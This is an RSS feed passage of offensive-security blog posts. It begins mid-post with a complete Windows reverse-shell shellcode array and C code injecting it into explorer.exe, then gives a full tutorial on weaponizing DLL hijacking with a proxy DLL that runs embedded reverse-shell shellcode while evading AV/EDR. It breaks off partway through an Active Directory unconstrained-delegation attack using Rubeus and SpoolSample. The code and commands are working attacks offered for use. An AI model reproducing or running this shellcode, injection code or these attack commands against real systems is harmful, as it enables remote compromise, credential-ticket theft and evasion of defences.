=<br>&quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50&quot;<br>&quot;\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52&quot;<br>&quot;\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a&quot;<br>&quot;\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41&quot;<br>&quot;\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52&quot;<br>&quot;\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48&quot;<br>&quot;\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40&quot;<br>&quot;\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48&quot;<br>&quot;\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41&quot;<br>&quot;\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1&quot;<br>&quot;\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c&quot;<br>&quot;\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01&quot;<br>&quot;\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a&quot;<br>&quot;\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b&quot;<br>&quot;\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33&quot;<br>&quot;\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00&quot;<br>&quot;\x00\x49\x89\xe5\x49\xbc\x02\x00\x24\xe3\xc0\xa8\x00\x6f&quot;<br>&quot;\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07&quot;<br>&quot;\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29&quot;<br>&quot;\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48&quot;<br>&quot;\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea&quot;<br>&quot;\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89&quot;<br>&quot;\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81&quot;<br>&quot;\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00&quot;<br>&quot;\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0&quot;<br>&quot;\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01&quot;<br>&quot;\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41&quot;<br>&quot;\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d&quot;<br>&quot;\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48&quot;<br>&quot;\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff&quot;<br>&quot;\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5&quot;<br>&quot;\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb&quot;<br>&quot;\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5&quot;;<br><br>BOOL GetProcessHandle(IN LPWSTR processName, OUT HANDLE* hProcess, OUT DWORD* pID)<br>{<br> DWORD pid = 0;<br> HANDLE hP = NULL;<br> HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);<br> if (hSnapshot == INVALID_HANDLE_VALUE)<br> {<br>  printf(&quot;[ERROR] Invalid HANDLE to process snapshots [%d]\n&quot;, GetLastError());<br>  return FALSE;<br> }<br> PROCESSENTRY32 pe;<br> pe.dwSize = sizeof(pe);<br><br> if (!Process32First(hSnapshot, &amp;pe))<br> {<br>  printf(&quot;[ERROR] Could not enumerate processes [%d]\n&quot;, GetLastError());<br>  return FALSE;<br> }<br> <br> do {<br>  if (0 == _wcsicmp(processName, pe.szExeFile))<br>  {<br>   pid = pe.th32ProcessID;<br>   printf(&quot;[!] Trying to open handle on %ls, on pid %d\n&quot;, processName, pid);<br><br>   hP = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);<br>   if (hP == NULL)<br>   {<br>    printf(&quot;[X] Could not open handle on %d, continuing\n&quot;, pid);<br>   }<br>   else<br>   {<br>    printf(&quot;[+] Successfully got handle on %d\n&quot;, pid);<br>    *pID = pid;<br>    *hProcess = hP;<br>    return TRUE;<br>   }<br>  }<br> } while (Process32Next(hSnapshot, &amp;pe));<br><br> CloseHandle(hSnapshot);<br>}<br><br><br>int main()<br>{<br> HANDLE hProcess = NULL;<br> DWORD pID = 0;<br> LPWSTR processName = L&quot;explorer.exe&quot;;<br> DWORD oldProtect = 0;<br> if (GetProcessHandle(processName, &amp;hProcess, &amp;pID) == FALSE)<br> {<br>  printf(&quot;[ERROR] Could not obtain handle [%d]\n&quot;, GetLastError());<br>  return 99;<br> }<br> printf(&quot;[+] The PID of %ls is %d\n&quot;, processName, pID);<br><br> HANDLE pAddr = VirtualAllocEx(hProcess, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);<br> if (pAddr == NULL)<br> {<br>  printf(&quot;[ERROR] Could not allocate remote memory [%d]\n&quot;, GetLastError());<br>  return 100;<br> }<br> printf(&quot;[+] Successfully allocated memory at %p\n&quot;, pAddr);<br> if (WriteProcessMemory(hProcess, pAddr, buf, sizeof(buf), NULL) == 0)<br> {<br>  printf(&quot;[ERROR] Could not write to remote memory [%d]\n&quot;, GetLastError());<br>  return 101;<br> }<br> printf(&quot;[+] Successfully written payload to memory\n&quot;);<br> if (VirtualProtectEx(hProcess, pAddr, sizeof(buf), PAGE_EXECUTE_READ, &amp;oldProtect) == 0)<br> {<br>  printf(&quot;[ERROR] Could not change the memory protection [%d]\n&quot;, GetLastError());<br>  return 102;<br> }<br> printf(&quot;[+] Successfully changed the memory protection settings to PAGE_EXECUTE_READ\n&quot;);<br> HANDLE hThread = CreateRemoteThread(hProcess, NULL, sizeof(buf), pAddr, NULL, NULL, NULL);<br> if (hThread == NULL)<br> {<br>  printf(&quot;[ERROR] Could not create new thread [%d]\n&quot;, GetLastError());<br>  return 102;<br> }<br> printf(&quot;[+] Successfully created a thread, check your listener!\n&quot;);<br>}</pre><p>After execution, if everything went smooth, we should receive the incoming reverse shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*NncBY6buHbEgQ4IM17bzew.png" /><figcaption>Payload execute successfully</figcaption></figure><h3>Conclusion</h3><p>With this, you are now free to customize as much as you want. In fact, this is the most beautiful thing about malware development, there is no limit if there is enough creativity!</p><p>I am aware that the technique showcased in this blog is not advanced at all, but I hope it gives you a nice foundation into process injection.</p><p>I am deeply appreciating any of your feedback. Also, If you have a nice video / blog topic, you can ask for it in the <a href="https://discord.gg/KYAAKTtau8">Red Teaming Army Discord Channel</a>.</p><p>Also, make sure to subscribe to my YouTube channel: <a href="https://www.youtube.com/c/lsecqt">https://www.youtube.com/c/lsecqt</a></p><p>As well as to take a look at the Red Teaming Army Website: <a href="https://lsecqt.github.io/Red-Teaming-Army/">https://lsecqt.github.io/Red-Teaming-Army/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e6d4d2fa3b4a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Weaponizing DLL Hijacking via DLL Proxying]]></title>
            <link>https://medium.com/@lsecqt/weaponizing-dll-hijacking-via-dll-proxying-3983a8249de0?source=rss-35323664a4f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/3983a8249de0</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[dll-hijacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Lsec]]></dc:creator>
            <pubDate>Thu, 04 May 2023 11:45:22 GMT</pubDate>
            <atom:updated>2023-05-04T11:45:22.939Z</atom:updated>
            <content:encoded><![CDATA[<p>Sorry for not writing blogs for a while, but here am I now.</p><p>DLL Hijacking is one of the techniques to dechain downloading from executing phase. This technique can drastically help your C2 to pass against AVs and EDRs. Since the regular DLL Hijacking is super simple to perform, it can be a little challenging to weaponize it in real environment.</p><blockquote>Sometimes it can be enough to perform simple DLL Hijacking just to prove a binary is vulnerable, this is often done in specific pentesting scenarios. This blog covers the case of “stealthness” (evading AV vendors with this technique), so we will go over some caviats in the next sections.</blockquote><p>I already have a video on this topic, so if you prefer watching instead of reading, feel welcomed to my channel: <a href="https://www.youtube.com/watch?v=KhVxglO2mcM">https://www.youtube.com/watch?v=KhVxglO2mcM</a></p><p>Also, I have a Discord server for sharing information, knowledge and experience. If you want to be a part of such community, you can join from here: <a href="https://discord.gg/dWCe5ZMvtQ">https://discord.gg/dWCe5ZMvtQ</a></p><h3>DLL Hijacking</h3><p>DLL Hijacking is attack for specific preinstalled binaries. When a binary is executed, and during runtime, it is actively loading functions from various DLLs. DLLs (Dynamic Link Library) are files, designed to share various functions between processes. The problem arises when the binary is trying to load a DLL from not existing path, while we (as intruders) have write access over it!</p><blockquote>When a binary cannot load a DLL from its current directory, it will start searching for it in various sub and system directories. Do not forget to scan your write access on all of them.</blockquote><h4>Enumerate DLL Hijacking</h4><p>Enumeration often is being done with procmon. In a nutshell, procmon is a legitimate MS tool for monitoring process activity. It can be downloaded from: <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon">https://learn.microsoft.com/en-us/sysinternals/downloads/procmon</a></p><p>After opening procmon, several filter must be applied:</p><ol><li>Filtering the binary by name</li><li>Filtering the path to be ending with .dll</li><li>Filtering the result to contain NOT FOUND</li></ol><p>After the filters are applied, make sure to start the binary, and if everything is setup correctly, it can look smth like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*azjlryepU3ahJ1jOqlwxJg.png" /></figure><blockquote>For the sake of the demo, I am using DVTA as a targeted vulnerable application (<a href="https://github.com/srini0x00/dvta">https://github.com/srini0x00/dvta</a>)</blockquote><p>All of the results from the screenshot, show a potential DLL hijack vulnerability, if we have right access over any of the directories, we can overwrite the not found DLL with a custom malicious DLL.</p><blockquote>For the sake of the testing I chose “C:\Users\user\Desktop\dvta\DVTA\bin\x64\Release\CRYPTSP.dll” for my hijackable DLL.</blockquote><p>Observe the full path carefully, it is in a directory, that my user have write access over. There are more not found DLLs, but most of them are inside “C:\Windows” which we do not have permissions by default.</p><p>The enumeration process revealed “CRYPTSP.dll” to be a great target!</p><h4>Executing DLL Hijacking</h4><p>For a simple pentest scenario, sometimes it is enough just to prove the binary is vulnerable. Let’s create a sample DLL and perform the attack.</p><p>For generating a sample DLL, we can use either custom made one (recommended), or a msfvenom one. For the sake of the demo, I created the following custom DLL, to spawn “calc.exe” process.</p><pre>// dllmain.cpp : Defines the entry point for the DLL application.<br>#include &quot;pch.h&quot;<br>#include &lt;stdlib.h&gt;<br>#include &lt;windows.h&gt;<br><br><br>void calc();<br><br>BOOL APIENTRY DllMain( HMODULE hModule,<br>                       DWORD  ul_reason_for_call,<br>                       LPVOID lpReserved<br>                     )<br>{<br> HANDLE t;<br>    switch (ul_reason_for_call)<br>    {<br>    case DLL_PROCESS_ATTACH:<br>  t = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)calc, NULL, 0, NULL);<br>  CloseHandle(t);<br>  break;<br>    case DLL_THREAD_ATTACH:<br>    case DLL_THREAD_DETACH:<br>    case DLL_PROCESS_DETACH:<br>        break;<br>    }<br>    return TRUE;<br>}<br><br>void calc()<br>{<br> system(&quot;calc.exe&quot;);<br>}</pre><blockquote>DLL’s entry point is called “DLLMain” and it executes code via various conditions on how the DLL is called. When a process reads a function from the DLL it generally uses “DLL_PROCESS_ATTACH”. We will store our custom code there!</blockquote><p>After renaming the DLL “CRYPTSP.dll” and placing it on the vulnerable directory, we can confirm DLL hijacking vulnerability, after executing the DVTA.exe binary:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pR-ovNOP-Cn2ap66cKKt1A.png" /></figure><h3>DLL Proxying</h3><h4>Theory</h4><p>While performing the previous DLL Hijacking, the chances are that the binary will break either on start up or at runtime after loading our custom DLL. We can confirm that by replacing the previous DLL with a one from msfvenom for reverse shell callback.</p><p>During the demo I used the following msfvenom payload:</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f dll -o CRYPTSP.dll</pre><p>After executing the DLL hijacked binary, we can observe that the shell callback is present, but the binary is not yet started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*Oie5kCFjqOArtCFkfdDLKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*Xgk62_ffd9Tk_OgPN0JrXA.png" /></figure><p>This is because of 2 problems:</p><ol><li>The thread is occupied by the reverse shell.</li><li>The execution flow is unknown, meaning after executing the shell, the binary is still corrupted.</li></ol><h4>Setup</h4><p>To solve this problem we must perform something called DLL proxying. It looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hZloLYorTai9_dK3" /><figcaption>source: <a href="https://www.ired.team/offensive-security/persistence/dll-proxying-for-persistence">https://www.ired.team/offensive-security/persistence/dll-proxying-for-persistence</a></figcaption></figure><p>DLL proxying is a technique to restore the native DLL execution flow (function calls) so the binary is not corrupted. Luckily, there are tools which can export the functions and even generate a CPP template.</p><p>One such tool is called spartacus (<a href="https://github.com/Accenture/Spartacus">https://github.com/Accenture/Spartacus</a>)</p><blockquote>Spartacus requires procmon to be installed.</blockquote><p>To run spartacus, you can follow the syntax:</p><pre>.\Spartacus-v1.2.0-x64.exe --procmon C:\Users\user\Desktop\Procmon64.exe --pml test.plm --csv ./output.csv --exports . --verbose</pre><blockquote>Spartacus will automatically engage with procmon, setup filters and find DLL hijackable binaries. After finding such, it will try to export all the functions it needs from the mentioned DLL.</blockquote><p>After executing the command, make sure to execute the targeted binary, and then terminate spartacus by pressing enter, it will generate similar output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xG_2LwanxNYOEJQZlUfAnQ.png" /></figure><p>From the output, spartacus founds which DLLs are hijackable, exports their functions and generates a cpp template for the DLL.</p><p>The cpp template (for CRYPTSP.dll) looks like this in my example:</p><pre>#pragma once<br><br>#pragma comment(linker,&quot;/export:SystemFunction001=C:\\Windows\\System32\\cryptbase.SystemFunction001,@1&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction002=C:\\Windows\\System32\\cryptbase.SystemFunction002,@2&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction003=C:\\Windows\\System32\\cryptbase.SystemFunction003,@3&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction004=C:\\Windows\\System32\\cryptbase.SystemFunction004,@4&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction005=C:\\Windows\\System32\\cryptbase.SystemFunction005,@5&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction028=C:\\Windows\\System32\\cryptbase.SystemFunction028,@6&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction029=C:\\Windows\\System32\\cryptbase.SystemFunction029,@7&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction034=C:\\Windows\\System32\\cryptbase.SystemFunction034,@8&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction036=C:\\Windows\\System32\\cryptbase.SystemFunction036,@9&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction040=C:\\Windows\\System32\\cryptbase.SystemFunction040,@10&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction041=C:\\Windows\\System32\\cryptbase.SystemFunction041,@11&quot;)<br><br>#include &lt;windows.h&gt;<br><br>VOID Payload() {<br>    // Run your payload here.<br>}<br><br>BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)<br>{<br>    switch (fdwReason)<br>    {<br>    case DLL_PROCESS_ATTACH:<br>        Payload();<br>        break;<br>    case DLL_THREAD_ATTACH:<br>        break;<br>    case DLL_THREAD_DETACH:<br>        break;<br>    case DLL_PROCESS_DETACH:<br>        break;<br>    }<br>    return TRUE;<br>}</pre><h4>Weaponizing the DLL Hijacking</h4><p>Let’s create new CPP DLL project:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*486TwNx4H9zGvectB-hJVA.png" /></figure><blockquote>During the demo, I am using Visual Studio 2017 on Commando VM.</blockquote><p>Now let’s tweek the malicious template from spartacus. I created “Offensive CPP” repository, its idea is to host a malicious independent snippets, which can be used in various offensive scenarios. Let’s copy some shellcode execution code. During the demo, I am using the “FileMap” snippet (<a href="https://github.com/lsecqt/OffensiveCpp/blob/main/Shellcode%20Execution/FileMap/directPointerToFileMap.cpp">https://github.com/lsecqt/OffensiveCpp/blob/main/Shellcode%20Execution/FileMap/directPointerToFileMap.cpp</a>)</p><p>The last step is to generate a shellcode from msfvenom:</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f c</pre><p>And combine the pieces by compiling the custom DLL as x64/Release:</p><pre>#pragma once<br><br>#pragma comment(linker,&quot;/export:SystemFunction001=C:\\Windows\\System32\\cryptbase.SystemFunction001,@1&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction002=C:\\Windows\\System32\\cryptbase.SystemFunction002,@2&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction003=C:\\Windows\\System32\\cryptbase.SystemFunction003,@3&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction004=C:\\Windows\\System32\\cryptbase.SystemFunction004,@4&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction005=C:\\Windows\\System32\\cryptbase.SystemFunction005,@5&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction028=C:\\Windows\\System32\\cryptbase.SystemFunction028,@6&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction029=C:\\Windows\\System32\\cryptbase.SystemFunction029,@7&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction034=C:\\Windows\\System32\\cryptbase.SystemFunction034,@8&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction036=C:\\Windows\\System32\\cryptbase.SystemFunction036,@9&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction040=C:\\Windows\\System32\\cryptbase.SystemFunction040,@10&quot;)<br>#pragma comment(linker,&quot;/export:SystemFunction041=C:\\Windows\\System32\\cryptbase.SystemFunction041,@11&quot;)<br><br>#include &lt;windows.h&gt;<br>#include &lt;iostream&gt;<br><br>unsigned char buf[] =<br>&quot;\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50&quot;<br>&quot;\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52&quot;<br>&quot;\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a&quot;<br>&quot;\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41&quot;<br>&quot;\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52&quot;<br>&quot;\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48&quot;<br>&quot;\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40&quot;<br>&quot;\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48&quot;<br>&quot;\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41&quot;<br>&quot;\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1&quot;<br>&quot;\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c&quot;<br>&quot;\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01&quot;<br>&quot;\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a&quot;<br>&quot;\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b&quot;<br>&quot;\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33&quot;<br>&quot;\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00&quot;<br>&quot;\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x6e\x89&quot;<br>&quot;\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07&quot;<br>&quot;\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29&quot;<br>&quot;\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48&quot;<br>&quot;\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea&quot;<br>&quot;\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89&quot;<br>&quot;\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81&quot;<br>&quot;\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00&quot;<br>&quot;\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0&quot;<br>&quot;\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01&quot;<br>&quot;\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41&quot;<br>&quot;\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d&quot;<br>&quot;\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48&quot;<br>&quot;\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff&quot;<br>&quot;\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5&quot;<br>&quot;\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb&quot;<br>&quot;\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5&quot;;<br><br>VOID Payload() {<br> ShowWindow(GetConsoleWindow(), SW_HIDE);<br><br> HANDLE mem_handle = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(buf), NULL);<br><br> void* mem_map = MapViewOfFile(mem_handle, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0x0, 0x0, sizeof(buf));<br><br> std::memcpy(mem_map, buf, sizeof(buf));<br><br> std::cout &lt;&lt; ((int(*)())mem_map)() &lt;&lt; std::endl;<br>}<br><br>BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)<br>{<br> switch (fdwReason)<br> {<br> case DLL_PROCESS_ATTACH:<br>  Payload();<br>  break;<br> case DLL_THREAD_ATTACH:<br>  break;<br> case DLL_THREAD_DETACH:<br>  break;<br> case DLL_PROCESS_DETACH:<br>  break;<br> }<br> return TRUE;<br>}</pre><p>After performing DLL Hijacking with the compiled DLL, the binary executes as normal, while we receive the shell callback.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S-zIdJyu1-4QpofWbX96EQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*FQdoEiQuNtvZR72FXbNOgg.png" /></figure><h3>Conclusion</h3><p>As mentioned before, DLL Hijacking on its own is a valid finding and often during pentests, it can be enough just to prove that it is vulnerable. However, in more complex cases, you may need to operate more stealthy. Since the default DLL Hijacking is corrupting the binary, this can be a huge IOC (Indicator Of Compromise). To evade being detected, I recommend sticking to as much as possible to custom made DLLs, custom made shellcode and do not forget to implement additional AV/EDR evasion techniques alongside with the DLL Proxying.</p><p>Thank you for your attention, I really hope this blog is useful, if so, make sure to follow me on:</p><p>Youtube: <a href="https://www.youtube.com/@Lsecqt">https://www.youtube.com/@Lsecqt</a></p><p>Twitter: <a href="https://twitter.com/lsecqt">https://twitter.com/lsecqt</a></p><p>Github: <a href="https://github.com/lsecqt">https://github.com/lsecqt</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3983a8249de0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacking Active Directory: Unconstrained Delegation]]></title>
            <link>https://medium.com/@lsecqt/attacking-ad-unconstrained-delegation-f5124f2f70?source=rss-35323664a4f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/f5124f2f70</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[domain-controller]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Lsec]]></dc:creator>
            <pubDate>Sun, 15 Jan 2023 19:37:36 GMT</pubDate>
            <atom:updated>2023-01-15T19:43:37.922Z</atom:updated>
            <content:encoded><![CDATA[<p>The main focus of today’s topic will not be some C2 framework or AV bypass, but one specific AD attack.</p><p>In Windows (Active Directory) world, there is a scenario where user needs to perform elevated actions towards objects, without being added to highly administrative groups, such as Domain Admins.</p><p>To solve this issue, Microsoft came up with “delegation”, in other words, there is a configuration that allows highly elevated tasks, from non administrative users.</p><blockquote>If you want to be a part of growing community, where knowledge and experience is being shared, feel welcome to my Discord: <a href="https://discord.gg/dWCe5ZMvtQ">https://discord.gg/dWCe5ZMvtQ</a></blockquote><blockquote>If you prefer watching a video instead of reading, you can find it on my Youtube Channel: <a href="https://youtu.be/eDmkkL108W4">https://youtu.be/eDmkkL108W4</a></blockquote><p>With that being said, let’s get to work!</p><h3>Theory Behind!</h3><p>The delegation configuration must be carefully implemented. Usually it must be set to be limited for specific user &lt;==&gt; service, meaning the user does not have delegation rights to anything beside that.</p><p>For today’s example, I will review the scenario where a machine account (ending with $) has unconstrained delegation towards the domain controller’s machine account.</p><p>The problem occurs when the delegation is misconfigured for all services. The option can be seen from:</p><p>Active Directory Users And Computers --&gt; double click on desired machine --&gt; delegation tab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*H-uEbYUMgrMiPZ8kEGziWg.png" /></figure><p>For this attack to work, the DC should also have running Print Spooler service. To verify that we can either do:</p><ol><li>Get-Service Spooler</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*VxdXiXew5QzKZYCS5RAS1A.png" /></figure><p>2. ls \\dc\pipe\spoolss</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*dgPBVryoCLWlroeKF9OhvA.png" /></figure><h4>Why do we need print service?</h4><p>This is a valid point, at its core, the attack is coercing the authentication. The theory behind the attack is if we have the delegation rights against the DC (or of course against other machine) we can force it to perform authentication request, which results in getting the ticket for the machine account.</p><h3>Let’s Get to Work!</h3><h4>Enumeration</h4><p>The enumeration is simple, all we need is powerview. It made our job easier and in order to check, we need one really simple command. Let’s first import it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Ed6Z7pa2W2q1JZs0PTXyA.png" /></figure><blockquote>Note: I am not focused on any kind of AV / AMSI or Proxy bypasses, but the raw technique behind the attack. Of course if you want to import powerview in more secured environments, you must consider other things that can block your advancing!</blockquote><p>Then to check for unconstrained delegations, we can just do:</p><pre>Get-DomainComputer -Unconstrained</pre><p>The output can be huge, to parse it we can select samaccountname field:</p><pre>Get-DomainComputer -unconstrained | select samaccountname</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*dw1mlyK7GtJyMYf7f6zw9w.png" /></figure><p>So the enumeration is complete! We know the remote DC is running print spooler and the machine we compromised has delegation rights towards it!</p><blockquote><strong>Here is the time to mention that in order this attack to work, we must be local administrator on the compromised client.</strong></blockquote><h4>Exploitation</h4><p>Exploitation process is simply running rubeus to monitor for incoming auth requests, and then coerce the authentication. For the demo I am running rubeus from here: <a href="https://github.com/r3motecontrol/Ghostpack-CompiledBinaries">https://github.com/r3motecontrol/Ghostpack-CompiledBinaries</a></p><p>For the coercion tool, I use compiled as release binary from: <a href="https://github.com/leechristensen/SpoolSample">https://github.com/leechristensen/SpoolSample</a></p><p>So far our environment is setup and ready. Let’s start Rubeus in monitor mode:</p><pre>rubeus.exe monitor /interval:10 /filteruser:dc01$</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*494le6jKFH_EXHuBuqmeQw.png" /></figure><blockquote>Note: do not forget the ‘$’ at the end of the machine username.</blockquote><p>The next step is to coerce the authentication with spoolsample, the syntax is:</p><pre>SpoolSample.exe Target_Server Capture_Server</pre><p>So for our demo it would be:</p><pre>SpoolSample.exe dc01 client01</pre><p>If the environment is vulnerable, as soon as we run the command, similar output should be present:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*W1c4pCpqI703hHdURz52-A.png" /></figure><p>Let’s check 